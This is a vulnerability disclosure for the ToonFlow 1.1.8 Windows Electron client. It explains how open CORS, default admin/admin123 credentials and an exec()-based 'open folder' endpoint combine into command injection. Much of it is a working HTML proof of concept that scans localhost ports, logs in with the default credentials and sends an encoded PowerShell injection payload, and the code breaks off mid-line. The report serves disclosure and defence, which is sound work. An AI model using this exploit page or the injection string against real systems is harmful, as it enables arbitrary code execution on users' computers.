Local Command Execution Vulnerability
1. Basic Information
- Product: ToonFlow
- Version: 1.1.8
- Code revision:
b344a736599203e874984660f080cce9cb884795 - Affected platform: Windows production Electron client
- Vulnerability type: Operating system command injection / remote code execution
- Attack prerequisites: The target user is running the ToonFlow Windows client and visits an attacker-controlled webpage in a browser on the same computer; the client still uses the default administrator account
admin/admin123, or the attacker has obtained a valid login token - Severity: High
2. Vulnerability Description
When the ToonFlow Electron client starts, it creates an HTTP service on the local computer. The service enables CORS for arbitrary origins and initializes the database with a default administrator account, admin/admin123. Consequently, if a user is running the client and visits a malicious webpage, JavaScript in that page can scan local ports, identify the ToonFlow service, sign in with the default credentials, and invoke the "open folder" endpoint.
On Windows, that endpoint inserts the attacker-controlled path parameter into the string explorer "${target}" and passes the result to child_process.exec(). By adding double quotes, &, and other cmd metacharacters to path, an attacker can break out of the intended explorer argument and execute arbitrary system commands. The commands run with the privileges of the user running ToonFlow and can be used to read, write, or delete files, download data, and execute malicious programs.
The use of a random port does not meaningfully mitigate the issue. The production Electron client starts the HTTP service with port 0, so the operating system assigns an ephemeral port. A malicious webpage can scan the ephemeral port range on 127.0.0.1 and identify the service using a response fingerprint. Because the service returns Access-Control-Allow-Origin: *, a browser-based webpage can read the responses from the identification and login endpoints.
3. Vulnerability Details
3.1 The production client starts a browser-accessible local HTTP service
The Electron main process loads the backend service and passes randomPort = true:
// scripts/main.ts
const port = await mod.default(true);
process.env.PORT = port;The backend calls server.listen(port) without specifying a bind address. The service therefore listens on all network interfaces by default and can be reached through 127.0.0.1:
// src/app.ts
const port = randomPort ? 0 : 10588;
return await new Promise((resolve) => {
server.listen(port, async () => {
const address = server.address();
const realPort = typeof address === "string" ? address : address?.port;
resolve(realPort);
});
});Both Express and Socket.IO allow cross-origin requests from arbitrary origins:
// src/app.ts
app.use(cors({ origin: "*" }));// src/app.ts
const io = new Server(server, { cors: { origin: "*" } });This allows a malicious webpage not only to send requests to the local service, but also to read their responses. The page can therefore complete port identification and parse the login result.
3.2 Default administrator credentials weaken the authentication boundary
Database initialization creates a default account when the o_user table does not exist:
// src/lib/initDB.ts
{
name: "o_user",
builder: (table) => {
table.integer("id").notNullable();
table.text("name");
table.text("password");
table.primary(["id"]);
table.unique(["id"]);
},
initData: async (knex) => {
await knex("o_user").insert([{ id: 1, name: "admin", password: "admin123" }]);
},
}The login endpoint only compares the plaintext password stored in the database:
// src/routes/login/login.ts
const data = await u.db("o_user").where("name", "=", username).first();
if (data!.password == password && data!.name == username) {
const tokenData = await u.db("o_setting").where("key", "tokenKey").first();
const token = setToken(
{ id: data!.id, name: data!.name },
"180Days",
tokenData?.value as string,
);
return res.status(200).send(success({ token: "Bearer " + token, ... }));
}For a new installation, or a user who upgraded from the default credentials, a malicious webpage can sign in directly and obtain a JWT valid for 180 days. If the user has changed the default password, the attacker needs valid credentials or a token to invoke the vulnerable endpoint.
3.3 The "open folder" endpoint concatenates a shell command
The vulnerable code is:
// src/routes/setting/fileManagement/openFolder.ts
import { exec } from "child_process";
export default router.post(
"/",
validateFields({
path: z.string(),
}),
async (req, res) => {
if (!isEletron()) {
return res.status(400).send(error("Opening folders is supported only in the client"));
}
const { path: folderPath } = req.body;
const platform = process.platform;
const target = u.getPath(folderPath);
const cmd = platform === "win32"
? `explorer "${target}"`
: platform === "darwin"
? `open "${target}"`
: `xdg-open "${target}"`;
exec(cmd, (err) => {
...
});
},
);u.getPath() is intended to restrict paths to the application data directory:
// src/utils/getPath.ts
export default (fileName?: string[] | string) => {
let basePath: string;
if (typeof process.versions?.electron !== "undefined") {
const { app } = require("electron");
const userDataDir: string = app.getPath("userData");
basePath = path.join(userDataDir, "data");
} else {
basePath = path.join(process.cwd(), "data");
}
if (fileName) {
const dbPath = Array.isArray(fileName)
? path.resolve(basePath, ...fileName)
: path.resolve(basePath, fileName);
if (!isPathInside(dbPath, basePath) && dbPath !== basePath) {
throw new Error("Path escape error: the path must remain inside the data directory");
}
return dbPath;
}
return basePath;
};The problem is that this check only verifies whether the final path is inside the data directory. It does not reject shell metacharacters in the path. If the attacker-controlled value begins with a normal filename, it resolves into the data directory and passes the check, while double quotes and & remain intact.
For example, the attacker can send:
poc" & powershell -NoProfile -EncodedCommand <base64> & rem "u.getPath() returns a value such as:
C:\Users\<user>\AppData\Roaming\toonflow\data\poc" & powershell -NoProfile -EncodedCommand <base64> & rem "The endpoint then constructs:
explorer "C:\Users\<user>\AppData\Roaming\toonflow\data\poc" & powershell -NoProfile -EncodedCommand <base64> & rem ""On Windows, child_process.exec() runs the command through a shell. The first double quote closes the argument intended for explorer; the first & acts as a cmd command separator, causing powershell to run as a second command; and the trailing rem " comments out the second quote appended by the application. The path parameter is therefore not a filesystem path, but a command injection payload.
3.4 The static file service can be used to retrieve command output
The application mounts data/oss as a static file directory:
// src/app.ts
const ossDir = u.getPath("oss");
app.use(
"/oss",
...,
express.static(ossDir, { acceptRanges: false }),
);This mount occurs before the authentication middleware, so files under /oss/... are directly accessible. The reproduction code makes the injected PowerShell command write its output to data/oss/poc-rce.txt. The webpage then reads http://127.0.0.1:<port>/oss/poc-rce.txt, confirming that an arbitrary command executed and retrieving its output.
Output retrieval is only a verification technique. Even without reading the output, an attacker can directly execute a downloader, write to a startup location, modify files, or perform other malicious actions.
4. Reproduction
4.1 Reproduction steps
- Start the ToonFlow production client on Windows and keep it running.
- Save the complete reproduction page below as any
.htmlfile and open it in a browser on the same computer. - Keep Host set to
127.0.0.1and keep the default commandwhoami. - Click
Find listening port. The page first checks fixed port10588, then scans the Windows ephemeral port range49152-65535. If the service is not found, select the full-port scan option. - Click
Execute command. The page signs in with the default account, constructs apathvalue containing PowerShell, and invokes theopenFolderendpoint. - The page then reads
/oss/poc-rce.txt. If the output contains the current Windows username, arbitrary command execution is confirmed.
If the client's default password has been changed, the login step fails. In that case, replace the default credentials in the reproduction page with valid credentials; the command injection itself remains exploitable.
4.2 Reproduction code
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ToonFlow Windows RCE Reproduction</title>
<style>
body {
margin: 0;
padding: 24px;
background: #f5f7fa;
color: #17202a;
font: 14px/1.5 "Segoe UI", Arial, "Microsoft YaHei", sans-serif;
}
main { max-width: 760px; margin: 0 auto; }
h1 { margin: 0 0 8px; font-size: 22px; }
.panel {
background: #fff;
border: 1px solid #cfd8e3;
border-radius: 8px;
padding: 18px;
margin-bottom: 16px;
}
.muted { color: #5d6b7a; }
.field {
display: grid;
gap: 6px;
margin-bottom: 12px;
color: #5d6b7a;
font-size: 13px;
}
input {
width: 100%;
padding: 9px 10px;
border: 1px solid #cfd8e3;
border-radius: 6px;
font-size: 14px;
}
button {
padding: 10px 14px;
border: 0;
border-radius: 6px;
background: #b42318;
color: #fff;
font-weight: 700;
cursor: pointer;
}
button:disabled { background: #98a2b3; cursor: not-allowed; }
pre {
min-height: 120px;
max-height: 360px;
overflow: auto;
margin: 12px 0 0;
padding: 12px;
border-radius: 6px;
background: #0d1117;
color: #f6f8fa;
white-space: pre-wrap;
word-break: break-word;
font: 12px/1.45 Consolas, "Courier New", monospace;
}
.check {
display: flex;
align-items: center;
gap: 8px;
margin-bottom: 12px;
color: #5d6b7a;
font-size: 13px;
}
.check input { width: auto; }
.actions { display: flex; gap: 8px; flex-wrap: wrap; }
.actions button:first-child { background: #475467; }
.actions button#cancel { background: #344054; }
</style>
</head>
<body>
<main>
<section class="panel">
<h1>ToonFlow Windows RCE Reproduction</h1>
<p class="muted">Target: the HTTP service embedded in the production Electron app. Production mode uses an OS-assigned random port; this page first scans the Windows ephemeral range 49152-65535. Enable full scan only if the app is not found in that range.</p>
<label class="field">
Host
<input id="host" value="127.0.0.1">
</label>
<label class="field">
PowerShell command
<input id="command" value="whoami" spellcheck="false">
</label>
<label class="check">
<input id="fullScan" type="checkbox">
Continue with a full scan of 1-65535 if the quick scan fails (slower)
</label>
<div class="actions">
<button id="find">Find listening port</button>
<button id="run" disabled>Execute command</button>
<button id="cancel" disabled>Stop scan</button>
</div>
<pre id="output">Waiting.</pre>
</section>
</main>
<script>
const output = document.getElementById("output");
const button = document.getElementById("run");
const findButton = document.getElementById("find");
const cancelButton = document.getElementById("cancel");
const commandInput = document.getElementById("command");
let scanCancelled = false;
let scanning = false;
let detectedBase = "";
function print(value) {
const line = typeof value === "string" ? value : JSON.stringify(value);
const time = new Date().toISOString().slice(11, 19);
output.textContent += `\n[${time}] ${line}`;
output.scrollTop = output.scrollHeight;
}
function hostName() {
return document.getElementById("host").value.trim() || "127.0.0.1";
}
function baseUrl(port) {
return `http://${hostName()}:${port}`;
}
async function request(base, path, options = {}) {
const headers = { ...(options.headers || {}) };
if (options.body && !headers["Content-Type"]) headers["Content-Type"] = "application/json";
const response = await fetch(base + path, { ...options, headers, mode: "cors" });
const text = await response.text();
let body;
try {
body = JSON.parse(text);
} catch {
body = text;
}
return { response, text, body };
}
async function login(base) {
const result = await request(base, "/api/login/login", {
method: "POST",
body: JSON.stringify({ username: "admin", password: "admin123" })
});
const token = result.body?.data?.token;
if (!result.response.ok || !token) {
if (result.body?.code === "ERR_DLOPEN_FAILED") {
throw new Error("Toonflow backend startup failed with ERR_DLOPEN_FAILED; fix the native module error before testing RCE.");
}
throw new Error("Login failed: " + result.text);
}
return token.startsWith("Bearer ") ? token : "Bearer " + token;
}
async function triggerRce(base, token) {
const command = commandInput.value.trim();
if (!command) throw new Error("Command is empty.");
const script = `$d=Get-ChildItem $env:APPDATA -Directory | Where-Object { $_.Name -ieq 'toonflow' -and (Test-Path (Join-Path $_.FullName 'data\\oss')) } | Select-Object -First 1; try { & { ${command} } 2>&1 | Out-String | Out-File -Encoding ascii (Join-Path $d.FullName 'data\\oss\\poc-rce.txt') } catch { $_ | Out-String | Out-File -Encoding ascii (Join-Path $d.FullName 'data\\oss\\poc-rce.txt') }`;
const encoded = encodePowerShell(script);
const payload = `poc" & powershell -NoProfile -EncodedCommand ${encoded} & rem "`;
const requestPromise = request(base, "/api/setting/fileManagement/openFolder", {
method: "POST",
headers: { Authorization: token },
body: JSON.stringify({ path: payload })
});
const timeoutPromise = new Promise(resolve => setTimeout(() => resolve({ timeout: true }), 8000));
return Promise.race([requestPromise, timeoutPromise]);
}
function encodePowerShell(script) {
const utf16 = new Uint16Array([...script].map(character => character.charCodeAt(0)));
const bytes = new Uint8Array(utf16.buffer);
let binary = "";
for (const byte of bytes) binary += String.fromCharCode(byte);
return btoa(binary);
}
async function readMarker(base, token) {
return request(base, "/oss/poc-rce.txt", {
headers: { Authorization: token }
});
}
async function isToonflow(port) {
if (scanCancelled) return false;
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), 1000);
try {
const response = await fetch(baseUrl(port) + "/api/login/login", {
method: "GET",
mode: "cors",
cache: "no-store",
signal: controller.signal
});
const text = await response.text();
const is404Fingerprint = response.status === 404 && text.includes("API 404 Not Found");
const isStartupErrorFingerprint = response.status === 500 && text.includes("ERR_DLOPEN_FAILED");
if (is404Fingerprint || isStartupErrorFingerprint) return true;
} catch {
// Closed ports and non-CORS services both fail here; only Toonflow is readable.
} finally {
clearTimeout(timer);
}
return false;
}
async function isOpenPort(port) {
if (scanCancelled) return false;
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), 1000);
try {
await fetch(baseUrl(port) + "/api/login/login", {
method: "GET",
mode: "no-cors",
cache: "no-store",
signal: controller.signal
});
return true;
} catch {
return false;
} finally {
clearTimeout(timer);
}
}
async function scanRange(start, end, concurrency = 256) {
const total = end - start + 1;
const startedAt = performance.now();
for (let offset = 0; offset < total; offset += concurrency) {
if (scanCancelled) throw new Error("Scan cancelled");
const ports = [];
const count = Math.min(concurrency, total - offset);
for (let i = 0; i < count; i++) ports.push(start + offset + i);
const found = await Promise.all(ports.map(async port => {
if (!await isOpenPort(port)) return null;
return await isToonflow(port) ? port : null;
}));
const port = found.find(Boolean);
if (port) return port;
const scanned = offset + count;
const elapsed = (performance.now() - startedAt) / 1000;
const rate = scanned / elapsed;
const remaining = (total - scanned) / rate;
print({
stage: "scanning",
range: `${start}-${end}`,
progress: `${scanned}/${total}`,
percent: Number((scanned / total * 100).toFixed(1)),
rate: `${rate.toFixed(0)} ports/s`,
eta: `${remaining.toFixed(0)}s`
});
}
return null;
}
async function findListeningPort() {
scanCancelled = false;
print({ stage: "scan", status: "checking fixed backend port 10588" });
if (await isToonflow(10588)) {
const base = baseUrl(10588);
print({ stage: "scan", status: "port found", baseUrl: base, port: 10588 });
return base;
}
print({ stage: "scan", status: "quick scan 49152-65535" });
let port = await scanRange(49152, 65535);
if (!port && document.getElementById("fullScan").checked) {
print({ stage: "scan", status: "quick scan failed; scanning 1024-49151" });
port = await scanRange(1024, 49151);
if (!port) {
print({ stage: "scan", status: "scanning 1-1023" });
port = await scanRange(1, 1023);
}
}
if (!port) throw new Error("Toonflow listening port not found.");
const base = baseUrl(port);
detectedBase = base;
print({ stage: "scan", status: "port found", baseUrl: base, port });
return base;
}
function setBusy(value) {
scanning = value;
findButton.disabled = value;
cancelButton.disabled = value;
button.disabled = value || !detectedBase;
if (!value) scanCancelled = false;
}
button.addEventListener("click", async () => {
if (!detectedBase) {
print({ error: "Port not found yet. Click Find listening port first." });
return;
}
setBusy(true);
print("Executing command...");
try {
const base = detectedBase;
const token = await login(base);
print({ stage: "login", result: "token acquired" });
const trigger = await triggerRce(base, token);
print({
stage: "trigger",
result: trigger.timeout
? "request sent; openFolder did not return within 8 seconds"
: { status: trigger.response.status, body: trigger.body }
});
await new Promise(resolve => setTimeout(resolve, 2000));
const marker = await readMarker(base, token);
print({
stage: "result",
markerStatus: marker.response.status,
markerBody: marker.text,
conclusion: marker.response.ok
? "Windows RCE confirmed: command output was written by the injected command and read through /oss."
: "Marker not found. Confirm the target is Windows Electron production mode and the detected port is correct."
});
} catch (error) {
print({
error: String(error),
note: "Confirm the application is running on this host and the default password has not been changed."
});
} finally {
setBusy(false);
}
});
findButton.addEvSource: HBAI-Ltd/Toonflow-app